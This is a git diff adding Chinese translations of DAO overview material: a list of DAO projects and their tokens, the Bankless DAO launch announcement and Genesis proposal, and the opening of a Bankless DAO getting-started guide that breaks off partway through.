+MakerDAO 是以太坊上的去中心化自治组织和智能合约系统，提供以太坊上第一个去中心稳定货币 Dai。DAI 是有数字资产抵押背书的硬通货，和美元保持 1:1 锚定。MKR 是 Maker 系统的管理型代币和效用代币，用来支付借 Dai 的稳定费用以及参与管理系统。与 Dai 稳定货币不同，由于其独特的供给机制和在 Maker 平台上的作用，MKR 的价值和整个系统的表现息息相关。去中心化稳定货币 Dai 在抵押贷款、杠杆交易、避险保值、国际汇款、供应链和政府公开记账方面都有关键的应用。
+
+可交易平台：Coinbase、火币、币安、OKEx、Balancer、Bitfinex
+
+
+
+
+**Aragon**
+
+代币：ANT
+
+项目介绍：
+
+Aragon 是以太坊区块链上的一个可以让任何人创建和管理任意组织（公司、开源项目、非政府组织 NGO、基金会、对冲基金…）的 dApp。Aragon Network（阿拉贡）是一个由代币控制的数字管理组织，专注于为经济增长创造最好的条件。本质上，Aragon Network 是个可以让任意组织、企业家和投资人高效安全协作，并且没有技术漏洞和恶意参与方的生态系统。
+
+Aragon Network 的链上组织将会使用 Aragon Core 进行搭建，它是由一个 Solidity 语言的去中心化自治组织（DAO）和网页端去中心化应用（dApp）组成。一开始，Aragon Core 会专注于资本化的公司类组织，但它的模块化功能也足够适应其他种类的组织。Aragon 代币（ANT）是 Aragon Network 的原生代币，主要用于管理阿拉贡网络、抵押阿拉贡网络成员协议。
+
+可交易平台：Uniswap、Balancer、火币、币安、OKEx、Bitfinex、Bittrex
+
+
+
+**Buidl**
+
+代币：BUIDL
+
+项目介绍：
+
+Buidl 是 DFOhub 的治理代币。DFOhub，一个基于 DFO 协议的独立的去中心化组织。通过 BUIDLToken 持有者拥有协议及其资产的所有权。DFOhub 是一个基于以太坊的开发项目，它为去中心化弹性组织（DecentralizedFelixableOrgnizations）、拥有专有资产的链上公司及作为可编程股权的投票 Token 提供了一个框架。
+
+可交易平台：Uniswap、Balancer、1inch
+
+
+
+**Karma DAO**
+
+代币：KARMA
+
+项目介绍：
+
+KarmaDAO 将以 Telegram 上的私人聊天组形式存在，使用代币 KARMA 赋予其成员身份，用户在以太坊钱包中持有 200 个 KARMA 即可加入 KarmaDAO 私人电报组，会使用由 [http://Abridged.io](https://link.zhihu.com/?target=http%3A//Abridged.io) 团队构建的 Collab.Land 电报机器人来验证用户的代币所有权，如果钱包内余额跌至所需金额以下，用户会被立即被踢出，直到其账户余额符合条件方可重新申请加入。随着成员数量的增加，KARMA 价格会略有增长，如果 DAO 成员想退出，可以根据组中成员数量以当前价格出售其成员资格代币，若自该成员加入以来，整个 DAO 成员的数量增加了，那么他将以更高的价格出售 KARMA 成员代币。如果成员规模扩大，KarmaDAO 计划推出服务于不同专业背景和兴趣类别的字团队。
+
+可交易平台：Uniswap、1inch
+
+
+
+**Numeraire**
+
+代币：NMR
+
+项目介绍：
+
+Numerai 首先会给其交易数据加密，然后再将加密后的数据分享给数据科学家——这样一来，科学家们就没有机会照抄该基金的交易策略。不过，该公司会精细设计加密数据，让科学家能够基于数据建模，并以此在交易中获取更多的收益。Numerai 从 2 月 21 日起开始向 12,000 位科学家发行总计一百万个 Numeraire 代币。科学家的积分越高，能获得的代币也就越多。
+
+Numerai 并不能用作货币在市场上购买商品，它只是用来激励科学家建立成功的机器学习模型，继而在真实市场上通过交易盈利。如果科学家从交易中获利，他们就能得到 Numeraire 代币，并赢得比特币「奖金「；如果交易是亏损的，他们就不能领「工资「了，该公司也会「销毁」本属于他们 Numeraire 代币。
+
+可交易平台：Uniswap、虎符、Bancor、Bittrex
+
+
+
+**Kleros**
+
+代币：PNK
+
+项目介绍：
+
+Kleros 为所有问题提供快速、安全、可负担的仲裁。Kleros 是连接需要解决纠纷的用户与拥有解决问题技能的陪审员的沟通工具。用户担任 Kleros 陪审员，在每个陪审团工作中收到相应仲裁费，获得经济收益。Pinakion 保护系统免受「女巫攻击」，也激励陪审员诚实投票，让条理混乱的陪审员支付部分其保证金给条例清晰的陪审员。
+
+可交易平台：Uniswap、Balancer、Bitfinex、虎符
+
+
+**DAOstack**
+
+代币：GEN
+
+项目介绍：
+
+DAOstack 是指数型组织的工具包，为去中心化组织、基金和市场提供支持，以便最大程度地做出快速、创新的决策。GEN 为 DAOstack 平台的原生代币。DAOstack 生态系统的基本操作（如宣传提案）将需要支付 GEN 或持有 GEN。GEN 将通过 DAOstack 自有框架来分配 GEN，将其分配给有价值的投资者，鼓励 GEN 的开发、推广和应用。
+
+可交易平台：Uniswap、Bitfinex、虎符
+
+
+
+**PhoenixDAO**
+
+代币：PHNX
+
+项目介绍：
+
+PHNX 旨在解决原 Hydro 项目核心的中心化问题，是一个社区构建的 DAO，是一个更健康的代币发行计划，内置智能合约，增加了用例，并更新了代币供应。PHNX 可用于支付、身份识别、存储和认证等。
+
+可交易平台：Uniswap、Bittrex
+
+
+
+**NextDAO**
+
+代币：NAX
+
+项目介绍：
+
+NAX 是星云链的社区及生态治理币，通过公平公开的方法获得，无机构融资、无公开募资、无团队预留。是星云链根据公链自身社区及生态治理的需要定制的治理币，以去中心化质押 NAS 的方式发行，让社区以公平公开的方式参与公链治理。
+
+可交易平台：Gate、MXC
+
+
+**MolochDao**
+
+代币：未发币
+
+项目介绍：
+
+Moloch DAO 目标是为以太坊基础设施提供资金支持，并解决生态系统开源开发中的公共问题，该协议可以使投票、成员资格、治理成为可能，代码则是协调机。
+
+**GitcoinDAO**
+
+代币：GTC
+
+项目介绍：
+
+Gitcoin是处于开放网络生态系统中心的builders、creator和协议的社区。 人们来到Gitcoin，是为了发展开放互联网的未来。我们的使命是建立一个开源的、协作的和经济上有能力的互联网。 
+
+可交易平台：Coinbase、Uniswap、币安、KuCoin、Gate等
+
+**DeepDAO**
+
+代币：未发币
+
+项目介绍：
+
+DeepDAO从多个角度打分和分析不同的DAO，值得关注。
+
+可交易平台：
+>>>>>>> d5435e708da3d2d91aa1be0dad2b6fb44d540e69
+
+**其他**
+另外也有一些Defi类别大家熟知的项目，例如Curve、Sythetix、YFI等等，也是以DAO的形式来发起、治理的。
diff --git a/dao/DAO-Review/bankless-anouncing.md b/dao/DAO-Review/bankless-anouncing.md
new file mode 100644
index 000000000..63a26553e
--- /dev/null
+++ b/dao/DAO-Review/bankless-anouncing.md
@@ -0,0 +1,248 @@
+![img](https://miro.medium.com/max/1400/1*qYLPm33lH_8_zU5IEdh9mw.png)
+
+无银行运动现在比任何单个实体、时事通讯、播客或个人都要大。它需要一个互联网规模的组织来实现其目标。
+
+所以无银行社区正在启动一个 DAO。
+
+这是无银行运动的可扩展性。
+
+这是世界上第一个用于加密的媒体和文化 DAO。
+
+这就是无[银行 DAO](https://www.bankless.community/)。
+
+# 使命
+
+我们的使命：帮助世界走向无银行。
+
+Bankless DAO 是一个去中心化的社区，用于协调和传播无银行媒体、文化和教育。它的目标是推动真正的无银行货币系统（如以太坊、DeFi 和比特币）的采用和认识。
+
+它通过社区的集体参与来实现这一目标。
+
+# 无银行媒体与无银行 DAO
+
+Bankless 媒体团队一直将自己视为Bankless 使命的催化剂和管理者*（以及许多其他人）*。它通过[模因](https://twitter.com/BanklessHQ/status/1387526059197976582?s=20)和[媒体](https://www.youtube.com/channel/UCAl9Ld79qaZxp9JzEOwd3aA)发展了这一运动，包括流行的[时事通讯](https://newsletter.banklesshq.com/)和[播客](https://shows.banklesshq.com/)。Bankless LLC 现在是一家全面运营的媒体工作室，拥有收入、费用和员工。
+
+但无银行运动是一个更大的媒体工作室。
+
+Bankless 消息是一面全球旗帜，而 Bankless DAO 是可以在这面旗帜下协调人们的组织。只有互联网原生组织才能发展互联网规模的革命，因此我们需要一个无银行 DAO 来掌控无银行革命。
+
+尽管两者都有相同的使命，但 Bankless DAO 将独立于 Bankless LLC。Bankless LLC 计划继续发展 Bankless 运动，但现在是更大的 Bankless DAO 的众多参与者之一。
+
+![img](https://miro.medium.com/max/60/0*gOhIjbCHxQiMSgsT.png?q=20)
+
+![img](https://miro.medium.com/max/1400/0*gOhIjbCHxQiMSgsT.png)
+
+媒体实体可能包括[Bankless LLC](https://banklesshq.com/)、[Bankless FR](https://banklessfr.substack.com/)和[Bankless RU](https://gitcoin.co/grants/1614/banklessru)等[团体](https://gitcoin.co/grants/1614/banklessru)。个人可以包括个人内容制作者、作家和教育者。DAO 决定。
+
+Bankless DAO 将充当参与媒体节点集合的协调机制。参与者可以是代表自己行事的个人，也可以是拥有员工和资源的更大实体。Bankless DAO 将协调所有这些以实现其使命。
+
+## 一种名为 BANK 的新治理代币将促进这种协调。
+
+# 银行
+
+- [**Etherscan 上的银行**](https://etherscan.io/token/0x2d94aa3e47d9d5024503ca8491fce9a2fb4da198)
+- **代币合约地址：** 0x2d94aa3e47d9d5024503ca8491fce9a2fb4da198
+- **名称：无**银行代币
+- **代码：** BANK
+- **小数：** 18
+
+BANK 是 DAO 的原生治理代币，它协调活动并分发给社区成员以积极参与这一运动。
+
+Bankless 希望覆盖 10 亿人。
+
+因此，创世时将有 10 亿个 BANK。
+
+**10 亿人。10亿银行。**
+
+![img](https://miro.medium.com/max/60/0*nU3l-USphnXO-cNt.png?q=20)
+
+![img](https://miro.medium.com/max/1400/0*nU3l-USphnXO-cNt.png)
+
+10 亿人。10亿银行。
+
+银行没有财务价值。它是一种无价值的代币，仅**代表参与无银行社区。**
+
+没有销售。**没有投资者**。Bankless LLC 媒体实体不拥有任何银行。
+
+这是设计使然。BANK 是一个公平的发行发行版。**创世时 BANK 的唯一接受者是个人社区参与者。**获得 BANK 的唯一方法是参与无银行社区。Bankless DAO 将通过代币投票来确定什么是参与资格。
+
+幸运的是，你们中的许多人已经在参与无银行革命中发挥了作用……你们是这场革命的种子。
+
+## 银行分布
+
+BANK 的追溯分配将流向那些已经参与无银行社区的人。其余的将进入 Bankless DAO 金库。这是创世分布：
+
+- 30% 追溯分配（*液体）*
+- 30% 国库分配（*流动*）
+- 40% 归属国库分配（*3 年线性归属*）
+
+在启动时，无银行社区将对 DAO 拥有 100% 的所有权。**Bankless LLC 将拥有 0 家银行。**
+
+但是，如果 BANK 持有人希望 Bankless LLC 继续参与 Bankless DAO，**它可以对**[**Genesis Proposal**](https://medium.com/bankless-dao/bankless-dao-genesis-proposal-18c24caf4485)**投“YES”** **。**
+
+社区选择自己的命运。
+
+# Genesis 的 BANK 代币分配：
+
+![img](https://miro.medium.com/max/60/0*R-z1Lq13NBb4cicx.png?q=20)
+
+![img](https://miro.medium.com/max/1400/0*R-z1Lq13NBb4cicx.png)
+
+**Bankless DAO 成立后，Bankless LLC 将立即提交一份**[**创世纪提案**](https://medium.com/bankless-dao/bankless-dao-genesis-proposal-18c24caf4485)。Bankless LLC 相信它一直是 Bankless 革命的好管家，我们希望与 Bankless DAO 一起继续这样做。Genesis 提案要求社区在 3 年的归属期和 6 个月的悬崖期间将 25% 的 BANK 供应分配给 Bankless LLC 和 Genesis 团队。
+
+[**阅读创世纪的提议**](https://medium.com/bankless-dao/bankless-dao-genesis-proposal-18c24caf4485)**并考虑这个提议。**
+
+投票将于 2021 年 5 月 4 日美国东部时间下午 3:00 开始。
+
+投票将于美国东部时间 2021 年 5 月 7 日星期五下午 3 点结束。
+
+👉在[此处](https://medium.com/bankless-dao/bankless-dao-genesis-proposal-18c24caf4485)对[创世纪提案进行](https://medium.com/bankless-dao/bankless-dao-genesis-proposal-18c24caf4485)投票
+
+假设[Genesis Vote 通过，](https://medium.com/bankless-dao/bankless-dao-genesis-proposal-18c24caf4485) BANK 供应量的样子如下：
+
+![img](https://miro.medium.com/max/1400/0*69VcXtQezFIL6rbn.png)
+
+如果投票通过，**社区金库将剩下总供应量的 5% 加上第一个月在 Liquid BANK 中的归属分配。**该基金应作为 DAO 的初始引导机制，而剩余 40% 的分配将在未来 3 年内解锁。
+
+## 追溯分配
+
+追溯分配将主要通过可验证的链上操作将 BANK 总供应量的 30% 分配给 Bankless 社区参与者。所有符合条件的地址的快照是在 2021 年 5 月 4 日美国东部时间上午 12 点拍摄的。
+
+这包括：
+
+- **2020 年徽章持有者**- 所有[2020 年徽章持有者的](https://poap.gallery/event/204)固定分配。
+- **2021 年徽章持有者**- 所有[2021 年徽章持有者的](https://poap.gallery/event/885)固定分配。
+- **Gitcoin Grants —**任何向 Bankless Gitcoin Grants 捐赠 0.95 美元或更多的人，根据捐赠金额按比例分配。
+- **生物多样性行动计划-**罕见Bankless货品的早期采用者（BAP0的）
+- **高级会员（链下）——** Bankless Substack 高级订阅者的快照。该分配将根据Substack 在 5 月 1 日计算的“*看到的唯一电子邮件*”按比例分配。分配将在 ETH 地址收集 30 天后发生。
+
+![img](https://miro.medium.com/max/60/0*5rskGUvtiXt6Pob5.png?q=20)
+
+![img](https://miro.medium.com/max/1400/0*5rskGUvtiXt6Pob5.png)
+
+追溯分配的接收者**将能够在 Genesis 分配后的 90 天内领取他们的 BANK**。🚨
+
+在 90 天结束时，任何无人认领的分配将退还给社区金库。
+
+***高级订阅者的 ETH 地址收集\***
+
+鉴于高级订阅者电子邮件保存在链下数据库中，无银行高级订阅者的 BANK 分配将存入单独的多重签名，并在无银行 DAO 成员在 30 天内从高级订阅者收集以太坊地址后提供给收件人发射后。
+
+**该系列的计划包含在**[**Genesis 提案中**](https://medium.com/bankless-dao/bankless-dao-genesis-proposal-18c24caf4485)**。**
+
+## 未来银行发行
+
+BANK 将包括每年由 BANK 持有人管理的总供应量的**2%**的开/关发行转换，作为可选的增长刺激。发行的所有代币都将归入社区金库。
+
+在创世分配后 36 个月完成所有代币归属计划后，银行持有人将获得对发行转换的控制权。从 2024 年 5 月开始，每年 5 月 4 日的多重签名将发行一年一度的 BANK。
+
+发行将默认关闭。
+
+![img](https://miro.medium.com/max/1200/1*AY0mOgYuHg0zVPu7BwJbTg.png)
+
+## 社区财政
+
+🔒**官方地址：**[Banklessvault.eth](https://etherscan.io/address/0xf26d1bb347a59f6c283c53156519cc1b1abaca51)
+
+社区金库负责将 BANK 分配给任何符合 Bankless DAO 使命并通过 BANK 持有人的链上投票的事物。
+
+DAO 的目标是推动对无银行货币系统的采用和认识。这可能包括将 BANK 分配给名为“Seasons”的分发活动（*更多内容见下文*），向其他媒体节点提供赠款等等。
+
+金库最初将由社区成员和启动团队成员组成的 7 个多重签名中的 4 个控制。以下是签名者列表及其各自的地址：
+
+- 瑞安·肖恩·亚当斯：0xeD7820deFdFFd1ec5Ac922a0DB721308FDaf509C
+- 大卫霍夫曼：0x25468E86ED8eC296de39FcB798C7f212924443AB
+- 卢卡斯坎贝尔：0x35EA12472d6fb21A9dB24B397AA2775D332C14B7
+- 内特·韦尔奇：0xec3281124d4c2fca8a88e3076c1e7749cfecb7f2
+- 大卫·米哈尔：0x8f73be66ca8c79382f72139be03746343bf5faa0
+- 安东尼萨萨诺：0x648aA14e4424e0825A5cE739C8C68610e143FB79
+- Andrew Hong: 0x2ae8c972fb2e6c00dded8986e2dc672ed190da06
+
+这是一个短期解决方案。未来，DAO 可以探索未来的资金管理解决方案，以分散对多重签名的控制。高级选项包括：SafeSnap、Yam's DAO House 等。
+
+# 银行季节
+
+BANK 将在称为“季节”的 1-3 个月分发活动中开展活动，目标是推动 Bankless 社区的参与和功能。
+
+## 无银行创世纪
+
+在创世时，BANK 代币将提供：
+
+- 访问[Bankless DAO Discord 频道](https://discord.gg/bjPz2w9Zts)（*需要 35,000 BANK*）
+- 能够对无[银行治理提案](https://snapshot.org/#/banklessvault.eth)进行投票
+
+Bankless DAO Discord 是社区的基础沟通和协调中心。在发布时，**将只允许持有 35,000 BANK 的钱包访问**。
+
+所有治理投票都将在 SnapShot 上进行。
+
+## 无银行第 0 季
+
+第 0 季将从 Genesis 开始，作为 1 个月的引导期。本赛季将包括：
+
+- 为[创世纪提案](https://snapshot.org/#/banklessvault.eth/proposal/QmdoixPMMT76vSt6ewkE87JZJywS1piYsGC3nJJpcrPXKS)投票
+- 社区的[Discord 访问](https://discord.gg/bjPz2w9Zts)
+- 对高级会员的追溯空投
+
+本赛季的目标是让社区在 Discord 中形成，并为未来的赛季制定初始分发活动和代币功能。
+
+## Bankless 第 1 季及以后……
+
+未来季节的想法将来自 Bankless 社区，来自 Genesis 团队的初始想法包括：
+
+- **传奇联赛。**BANK 分发给内容制作者，用于媒体和文化可交付成果。制片人可以包括作家、电影制片人和艺术家。(*媒体)*
+- **兔子洞活动。** 与 Rabbithole 合作创建季节性活动，以提升加密货币和 DeFi 的水平。（*教育）*
+- **不和谐贡献\*。\***BANK 根据 SourceCred 分数按比例分配给 Bankless Discord 贡献者。*（文化）。*
+
+*我们会参与协议政治吗？*
+
+*我们会生产文化 NFT 吗？*
+
+*我们会推出新的媒体渠道吗？*
+
+*我们会推出指数投资组合吗？*
+
+*我们会管理其他 DeFi 社区吗？*
+
+最终由 DAO 通过社区讨论和代币投票来确定第 1 季和未来的赛季计划。
+
+关于未来季节的讨论将在Discord 频道的*#governance*部分进行！
+
+我们很高兴看到这个社区取得的成就。
+
+# 加入无银行 DAO
+
+以下是如何开始：
+
+1. 前往[bankless.community](https://bankless.community/)
+2. [申请您的银行](https://www.bankless.community/claim)（*如果符合条件*）
+3. [加入不和谐](https://discord.gg/bjPz2w9Zts)
+
+查看[入门指南了解更多信息](https://medium.com/bankless-dao/getting-started-with-bankless-dao-94b0b60e052e)。
+
+你将加入一场传播加密文化、媒体和教育的全球运动。这超出了任何单个个人或实体。我们的使命只能通过互联网社区的集体力量来实现。
+
+无银行将改变世界。
+
+**You are Bankless DAO. We are Bankless DAO.**
+
+欢迎来到边境。
+
+让我们帮助世界走向无银行。🏴
+
+签，
+
+Bankless DAO 创世纪团队：
+
+- 瑞安·肖恩·亚当斯
+- 大卫·霍夫曼
+- 卢卡斯坎贝尔
+- 迈克尔·黄
+- 马里亚诺·孔蒂
+- 詹姆斯·蒙哥马利
+- 大卫·米哈尔
+- 内特·韦尔奇
+- 鲁本·布拉马纳坦
+
+Referenc：https://medium.com/bankless-dao/announcing-bankless-dao-133220f5efd8
+
+翻译校对：DApp Learning / Survivor
\ No newline at end of file
diff --git a/dao/DAO-Review/bankless-genesis-proposal.md b/dao/DAO-Review/bankless-genesis-proposal.md
new file mode 100644
index 000000000..96164271b
--- /dev/null
+++ b/dao/DAO-Review/bankless-genesis-proposal.md
@@ -0,0 +1,182 @@
+
+
+
+
+
+
+在 Bankless Medium 上阅读提案：[https://medium.com/bankless-dao](https://medium.com/bankless-dao) 
+
+作者：Ryan Sean Adams、David Hoffman
+提议时间：2021 年 5 月 4 日
+
+#### 概要
+
+Bankless LLC 申请一次性授予 250,000,000 BANK 的 3 年（包括 6 个月的Cliff）授予权，用于持续参与 Bankless DAO。
+
+#### 背景
+
+Bankless LLC 是由 Ryan Sean Adams 和 David Hoffman 领导的 Bankless 运动的核心媒体节点。除了创建Bankless模因（Meme）之外，它还发展了几个有价值的媒体资产，包括：
+
+- Bankless通讯 - 40k 订阅者
+- Bankless Podcast - 每月 40 万次下载
+- Bankless YouTube - 46k 订阅者
+
+Bankless LLC 是一家盈利的公司，拥有收入、费用、员工和承包商。
+
+Bankless LLC 目前有 0 个BANK。
+
+这是设计使然。BANK 是一个公平的发行发行版。创世时 BANK 的唯一接受者是个人社区参与者。尽管为发起这一运动付出了努力，并且未来计划参与其中，但 Bankless LLC 和 创世 团队都没有BANK分配。
+
+我们认为社区应该改变这一点。
+
+我们认为 Bankless DAO 应该将一部分 BANK 供应分配给 Bankless LLC 和发起此 DAO 的 创世 团队。
+
+这与 Bankless LLC 迄今为止增加的价值无关。这是关于我们可以在正确对齐下向前移动的价值。
+
+但是我们选择不单方面做出这个分配决定。
+
+我们想要社区的祝福和链上证明，即 BANK 持有者投票决定将 Bankless LLC 添加为 Bankless DAO 的积极参与者。
+
+这是你的召唤。
+
+#### 动机
+
+我们认为您应该投赞成票，原因如下：
+
+##### 1. Growth
+
+首先，DAO 和运动都需要增长。我们有望在今年实现 10 倍的Bankless化运动：
+
+- 将 Bankless Newsletter 扩大到 10 万读者
+- 将Bankless YouTube 增加到 10 万订阅者
+- 将 Bankless Podcast 增加到每月 100 万次下载
+
+Bankless LLC 可以充当 DAO 新参与者的漏斗。
+
+##### 2. Product
+
+其次，Bankless DAO 需要产品。
+
+我们已经展示了快速扩展新加密媒体产品的能力。例如，Metaversal 我们的 NFT 时事通讯于 1 月推出 - 现在拥有 25k 订阅者！DAO 管理的媒体渠道会是什么样子？
+
+我们也在扩展到文化产品。例如，我们最近与服装 DAO Metafactory 合作，将Bankless文化传播到稀缺的实体物品（即将发布！）。这些文化产品可以通过 Bankless DAO 进行扩展。
+
+最后，我们可以与 DeFi 协议合作，为Bankless社区创建新产品。协议会像这样为 Bankless 社区提供团体折扣吗？我们可以创建像 BED 指数这样的新金融产品吗？Bankless DAO 可以构建自己的 DeFi 工具吗？我们拭目以待。
+
+简而言之：我们可以帮助您打造媒体、文化和 DeFi 产品。🔥🔥🔥
+
+##### 3. Excution
+
+第三，Bankless DAO 需要执行。
+
+没有执行的愿景是幻觉。当 DAO 失败时，不是因为缺乏远见，而是因为缺乏执行力。看看成功的那些——Aave、Synthetix、Uniswap、Sushi、Yearn。他们有什么共同点？
+
+他们提供。他们发货。他们执行。
+
+Bankless LLC 执行。
+
+在 18 个月的时间里，我们建立了Bankless叙事并创建了最成功的加密媒体工作室之一。我们将为 Bankless DAO 带来资源和执行文化。🥳
+
+4. ##### Pepole
+
+这给我们带来了第四个原因，人。将人力资本与 DAO 的使命和治理相结合至关重要。
+
+该提案将以下人才与 Bankless DAO 结合起来：
+
+- Ryan Sean Adams - 媒体制作人（创世团队）
+- David Hoffman - 媒体制作人（创世 团队）
+- Lucas Campbell - 作家和分析师（创世 团队）
+- Michael Wong - Memelord（创世团队）
+- Luke Whitten - 媒体运营（创世 团队）
+- Mariano Conti - Solidity 主管（创世 团队）
+- James Montgomery - 前端开发人员（创世 团队）
+- David Mihal - 开发人员（创世 团队）
+- Nate Welch - 开发人员（创世 团队）
+- Reuben Bramanathan - 监管和治理（创世 团队）
+- Logan Craig - 网页设计师
+- William Peaster - 作家和 NFT 分析师
+
+以上 - 创世 团队和 Bankless LLC 的贡献者。
+
+此外，Bankless LLC 将使用其分配的一部分来允许未来的人才和员工参与 DAO。
+
+##### 5.伙伴关系
+
+第五个原因是伙伴关系。我们相信 DAO 到 DAO 的合作伙伴关系是 DeFi 行业的未来，也许是每个行业的未来。🧠
+
+以下是一些 DAO 的 Bankless LLC 已经与之合作：
+
+- Aave
+- Balancer
+- MetaFactory
+- 元工厂
+- Kyber
+- Synthetix DAO
+- Uniswap
+- YFI（通过yearn贡献者）
+
+此外，我们还与许多非 DAO 生态系统公司合作，包括 Argent、Gemini、Ledger、Metamask、Zapper 和 Zerion。
+
+也许我们可以通过 Bankless DAO 为这些实体找到双赢？
+
+那么为什么要投赞成票呢？
+
+**生长。产品。执行。人们。伙伴关系。**
+
+这就是为什么你应该投赞成票。
+
+以下是 Bankless LLC 将在前 30 天内完成的工作：
+
+- 为 创世 团队成员提供归属 BANK 分配，以启动 Bankless DAO
+- 提供操作人员以从 Premium 收集 ETH 地址
+- 订阅者为了完成高级会员回顾空投
+- DAO 基础架构的下一个版本，包括：DAO Discord、DAO snapshot和 DAO 网站
+- 参与治理提案以实现 DAO 的关键目标（包括第 1 季设计）
+  组织和招募早期社区人才和参与者
+
+#### 规格
+
+Bankless LLC 要求一次性授予 250,000,000 BANK（总供应量的 25%）的 250,000,000 BANK（总供应量的 25%），在 6 个月的悬崖期间归属于 3 年，以便作为 Bankless DAO 的核心媒体节点之一参与。
+
+此分配将从 DAO 的创始国库中授予，并发送给 Bankless LLC 控制的多重签名。
+
+如果通过，社区金库将留下 50,000,000 BANK 流动性加上额外的 400,000,000 BANK 归属，在 3 年内线性地从创世开始。
+
+Bankless LLC 将遵循 DAO 社区财政的 3 年线性归属时间表，但还将为其分配增加最初的 6 个月悬崖。在此悬崖期间，Bankless LLC 将不会收到前 6 个月的归属分配。悬崖结束后，Bankless LLC 的分配将在剩余的 30 个月内平均分配。
+
+如果该提案通过，75% 的 BANK 仍将通过追溯分配和社区金库由非 Bankless LLC 社区成员拥有和控制。
+
+如果此提案通过，则 BANK 的总分配如下：
+如果此提案未通过，则 BANK 的总分配将保持不变：
+
+#### 结论
+
+该 创世 提案将 Bankless LLC 作为媒体节点与 DAO 保持一致，并奖励 创世 团队在启动 DAO 中的作用。分配是少数股权，归属时间超过 3 年。
+
+社区保持多数控制。
+
+如果该提案被 BANK 代币持有者通过，Bankless LLC 将在其最早阶段为 DAO 提供基础支持，并将在 Bankless DAO 追求其目标时保持长期一致。
+
+投赞成票，让 Bankless LLC 成为您的第一个媒体节点。
+
+让我们帮助世界走向Bankless。
+
+-瑞恩·肖恩·亚当斯和大卫·霍夫曼
+
+------
+
+##### 作者背景和承诺
+
+Ryan Sean Adams 是 Bankless LLC 的加密货币投资者和联合创始人。他是一个开放的金融极端主义者，传播金融主权的信息。他的使命是通过模因、媒体和教育让首批十亿人加入加密货币。
+
+David Hoffman 是 Bankless LLC 的联合创始人，这是一家内容工作室，拥有时事通讯、播客和 YouTube 频道，专注于教育如何在没有BANK的情况下生活。
+
+##### 关于 Bankless LLC
+
+我们今天的金融世界由模拟BANK运营。加密货币提供了另一种选择。自主货币和BANK业务的选择。在私钥充当货币并且代码使货币可编程的世界中，整个货币系统都会发生变化。
+
+------------------------------------------------------
+
+DAO的创世提案，值得学习，翻译/校对 DApp Learning /Survivor，建议大家阅读英文原版，更有点感觉。
+
+Reference:https://snapshot.org/#/banklessvault.eth/proposal/QmdoixPMMT76vSt6ewkE87JZJywS1piYsGC3nJJpcrPXKS
\ No newline at end of file
diff --git a/dao/DAO-Review/bankless-start.md b/dao/DAO-Review/bankless-start.md
new file mode 100644
index 000000000..3df7cdb3c
--- /dev/null
+++ b/dao/DAO-Review/bankless-start.md
@@ -0,0 +1,132 @@
+# Getting Started with Bankless DAO
+
+![img](./pics/backless-start-04.png)
+
+1. 如果你有[BANK](https://etherscan.io/token/0x2d94aa3e47d9d5024503ca8491fce9a2fb4da198)代币，那是因为你参与了Bankless运动。有关如何申领 Bankless 代币以及谁符合条件的更多详细信息，请访问此处。
+
+   一旦您领取了 BANK 代币，就可以参与 DAO。
+
+   这是你的指南。
+
+   # 本指南涵盖的内容：
+
+   1. 如何加入Bankless DAO
+   2. 访问Bankless Discord
+   3. 添加您的技能并参与其中
+   4. 对提案进行投票
+   5. 提出新提案
+
+# 1. 如何加入 Genesis 的 Bankless DAO
+
+如果您拥有2020 年或 2021 年的[Bankless 徽章](https://newsletter.banklesshq.com/p/-guide-2-using-the-bankless-badge)，您可以在创世时加入 Bankless DAO。那些过去拥有[BAP](https://newsletter.banklesshq.com/p/introducing-bankless-apparel)或给予[Bankless Gitcoin 赠款](https://gitcoin.co/grants/238/bankless)的人也有能力在创世时加入。
+
+有关创世资格的详细信息，请查看[公告帖子](https://medium.com/bankless-dao/announcing-bankless-dao-133220f5efd8)底部的标准。
+
+
+
+PS：最新的加入方法除去持有35000个BANK之外，还有订阅模式，每月
+
+
+
+以下是如何加入和参与 Bankless DAO 的创世季节。
+
+**1.**[**阅读公告帖子。**](https://medium.com/bankless-dao/announcing-bankless-dao-133220f5efd8) 滚动到最后，看看您的以太坊地址是否符合*追溯分发*资格标准。（*提示：任何持有*[*2020 或 2021 徽章的*](https://newsletter.banklesshq.com/p/-guide-2-using-the-bankless-badge)*地址**都有资格！*）
+
+**2. 申领 BANK 代币。**如果您的以太坊地址符合公告中的资格要求，请前往[Bankless DAO 网站](https://bankless.community/)，使用 Metamask 或 WalletConnect 连接您的钱包，并领取 BANK 参与代币。
+
+*注意：BANK 代币是无价值的代币——它们仅用于访问 DAO Discord和在 DAO 提案中投票。*
+
+<img src="./pics/backless-start-01.png" alt="img" style="zoom: 50%;" />
+
+连接符合条件的钱包后，您可以领取 BANK
+
+**3.**[**加入Discord**](https://discord.gg/bjPz2w9Zts)**。**Bankless DAO Discord是 DAO 成员聚集在一起讨论他们可以为 DAO 带来的才能以及围绕治理和提案进行协调的地方。这种Discord需要指定数量的 BANK 代币才能访问所有频道。
+
+
+
+<img src="./pics/backless-start-05.png" alt="img" style="zoom:67%;" />
+
+使用 35000 BANK，discord 成员部分将神奇地向您开放。
+
+**4. 分享你的技能**
+
+加紧。告诉 DAO 你可以如何帮助它实现使命。当您加入 Bankless Discord 时，请转到 **#intros** 频道并分享您的技能以及您如何为 DAO 做出贡献。我们希望 DAO 需要***开发人员、规划人员、作家、内容制作人、分析师、模因艺术家*和*社区经理***，还有谁知道呢！
+
+
+
+<img src="./pics/backless-start-03.png" alt="img" style="zoom:67%;" />
+
+加入 discord 后，#intros 频道是你的第一站……不要问 DAO 能为你做什么，而要问你能为 DAO 做什么
+
+**5. 对**[**创世纪提案进行**](https://snapshot.org/#/banklessvault.eth/proposal/QmdoixPMMT76vSt6ewkE87JZJywS1piYsGC3nJJpcrPXKS)**投票****
+
+在claim  BANK 并加入 Discord 之后，您可以对治理提案进行投票。第一个投票项目是由 RSA 和 David Hoffman 提出的创世纪提案。阅读提案并使用 SnapShot 投票赞成或反对。
+
+<img src="./pics/backless-start-06.png" alt="img" style="zoom:67%;" />
+
+Should the DAO approve the Bankless DAO Genesis Proposal…YES or NO? [You vote](https://snapshot.org/#/banklessvault.eth/proposal/QmdoixPMMT76vSt6ewkE87JZJywS1piYsGC3nJJpcrPXKS).
+
+## 👉 [**阅读创世提案**](./bankless-genesis-proposal)
+
+# 2. 访问Banklees Discord
+
+Bankless DAO Discord Channel 是该组织的核心沟通和协调中心。加入 Discord 是您帮助 DAO 取得成功的第一步。但是为了访问，你必须持有**35,000 BANK**（[最新价格](https://coinmarketcap.com/currencies/bankless-dao/)）。
+
+加入方法如下：
+
+1. [获取BANK](https://www.bankless.community/)
